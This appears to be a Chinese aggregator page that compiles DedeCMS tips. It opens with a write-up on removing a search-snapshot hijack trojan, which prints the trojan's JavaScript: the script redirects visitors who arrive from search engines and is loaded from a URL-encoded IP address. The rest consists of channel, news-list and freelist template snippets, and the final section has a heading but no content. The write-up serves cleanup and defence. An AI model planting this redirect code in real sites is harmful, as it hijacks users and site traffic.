以上就是给各位分享dedecms织梦清除快照劫持木马,同时本文还将给你拓展DedeCMS织梦dede:channel里面调用文章列表、dedecms织梦dede:channel里面调用新闻列表、DED
以上就是给各位分享dedecms织梦清除快照劫持木马,同时本文还将给你拓展DedeCMS织梦dede:channel里面调用文章列表、dedecms织梦dede:channel里面调用新闻列表、DEDECMS织梦dede:freelist标签增加排序方式、dedecms织梦{dede:loop}标签调用文章链接的方法等相关知识,如果能碰巧解决你现在面临的问题,别忘了关注本站,现在开始吧!
本文目录一览:- dedecms织梦清除快照劫持木马
- DedeCMS织梦dede:channel里面调用文章列表
- dedecms织梦dede:channel里面调用新闻列表
- DEDECMS织梦dede:freelist标签增加排序方式
- dedecms织梦{dede:loop}标签调用文章链接的方法
dedecms织梦清除快照劫持木马
做dedecms的人都知道,这个是一个自定义标签的调用方式,其模板在:/include/taglib/dinfo.lib.php里面。于是打开这个文件,看到如下代码:
[代码]php代码:
>dede>>
系统默认标签
全局标记
V55,V56,V57
系统默认标签
{dede:dinfo /}
>>dede>>*/
function lib_dinfo()
{
global $dsql,$envs;
$revalue = '';
return $revalue;
}
刚开始也没有看出什么问题,就是一段js代码,然后引用了一个图片,不过访问下这个图片地址就知道了,在浏览器中输入这个地址:%31%31%38%2e%32%34%34%2e%32%31%35%2e%32%31%33/images/page_bg.gif
能看到如下代码:
[代码]js代码:
GID89a="";
var s=document.referrer;
var str=window.location.href;
if(s.indexOf("go"+"o"+"gle")>0 || s.indexOf("b"+"ai"+"du")>0 || s.indexOf("y"+"ahoo")>0 || s.indexOf("s"+"ogou")>0 || s.indexOf("bing")>0 || s.indexOf("360")>0 || s.indexOf("s"+"os"+"o")>0 || s.indexOf("youdao")>0 )
window.location.href="?cpy="+str+"&kecy="+s;
如何样,看出问题来了吧?
简单解说一下:
[代码]js代码:
if(s.indexOf("go"+"o"+"gle")>0 || s.indexOf("b"+"ai"+"du")>0 || s.indexOf("y"+"ahoo")>0 || s.indexOf("s"+"ogou")>0 || s.indexOf("bing")>0 || s.indexOf("360")>0 || s.indexOf("s"+"os"+"o")>0 || s.indexOf("youdao")>0 )
这里就是判断来路,如果来源是:谷歌、baidu、yahoo、sogou、bing、360、soso、youdao,就跳转到下面这个地址:
[代码]js代码:
?cpy="+str+"&kecy="+s;
本文章网址:http://www.ppssdd.com/code/12165.html。转载请保留出处,谢谢合作!DedeCMS织梦dede:channel里面调用文章列表
下面是小编 jb51.cc 通过网络收集整理的代码片段。小编小编现在分享给大家,也给大家做个参考。
开发织梦模板的时候,在调用 dede:channel 标签时,需要将栏目中调用栏目下文章,创客云做了一下二次开发,让 channel 标签支持文章的调用:
{dede:channel type='son' noself='yes'}
[field:id runPHP=yes]
global $dsql;
$sql = "SELECT arc.* FROM `mydiy_archives` arc where arc.arcrank>-1 AND arc.typeid = @me ORDER BY arc.id desc limit 10";
$dsql->SetQuery($sql);
$dsql->Execute('t');
$result = '';
while($row = $dsql->GetArray('t'))
{
$arcurl = GetoneArchive($row['id']);
$pubdate = MyDate('m-d',$row['pubdate']);
$result .= <<< TPL
<div><div><div><img src="{$row['litpic']}" /></div><a href="{$arcurl['arcurl']}"><div>{$row['title']}</div></a><div>{$row['description']}</div></div></div>
TPL;
}
@me = $result;
[/field:id]
{/dede:channel}
以上是小编(jb51.cc)为你收集整理的全部代码内容,希望文章能够帮你解决所遇到的程序开发问题。如果觉得小编网站内容还不错,欢迎将小编网站推荐给程序员好友。
dedecms织梦dede:channel里面调用新闻列表
{dede:channel type='son' noself='yes'} [field:id runphp=yes] global $dsql; $sql = "SELECT arc.* FROM `mydiy_archives` arc where arc.arcrank>-1 AND arc.typeid = @me ORDER BY arc.id desc limit 10"; $dsql->SetQuery($sql); $dsql->Execute('t'); $result = ''; while($row = $dsql->GetArray('t')) { $arcurl = GetOneArchive($row['id']); $pubdate = MyDate('m-d',$row['pubdate']); $result .= <<< TPL <dt><a href="{$arcurl['arcurl']}"><span>{$row['title']}</span><span>{$pubdate}</span></a></dt> TPL; } @me = $result; [/field:id] {/dede:channel}本文章网址:http://www.ppssdd.com/code/10558.html。转载请保留出处,谢谢合作!
DEDECMS织梦dede:freelist标签增加排序方式
比如我所需要用到 随机排序”rank“和按得分排序”scores“这里就没有。当然这两个排序织梦DEDECMS是有的只是没有列出来,这样就简单了。
找到打开 dede/templets/freelist_add.htm ”添加自由列表源码“。找到
<td height=”28″ align=”left”>排列顺序:
在这一行下面插入以下代码并保存:
<option value=”rand”>随机推荐</option>
<option value=”scores”>按照得分</option>
再找到打开 dede/templets/freelist_edit.htm ”修改自由列表源码“。
找到
$orderby = $ctag->GetAtt(‘orderby’);下面参数改为以下。
$sorta = “sortrank,置顶权限值;pubdate,发布时间;senddate,录入时间;click,点击量;id,文档ID,lastpost,Z后评论时间;postnum,评论总数;rand,随机推荐;scores,按照得分”;
再找到
<select name=”orderby” id=”orderby” style=”width:120″>
下面插入
<option value=”rand”>随机推荐</option>
<option value=”scores”>按照得分</option>
保存,退出,验证。
ok是不是很简单。。。
本文章网址:http://www.ppssdd.com/code/26925.html。转载请保留出处,谢谢合作!dedecms织梦{dede:loop}标签调用文章链接的方法
我们今天的关于dedecms织梦清除快照劫持木马的分享已经告一段落,感谢您的关注,如果您想了解更多关于DedeCMS织梦dede:channel里面调用文章列表、dedecms织梦dede:channel里面调用新闻列表、DEDECMS织梦dede:freelist标签增加排序方式、dedecms织梦{dede:loop}标签调用文章链接的方法的相关信息,请在本站查询。
本文标签: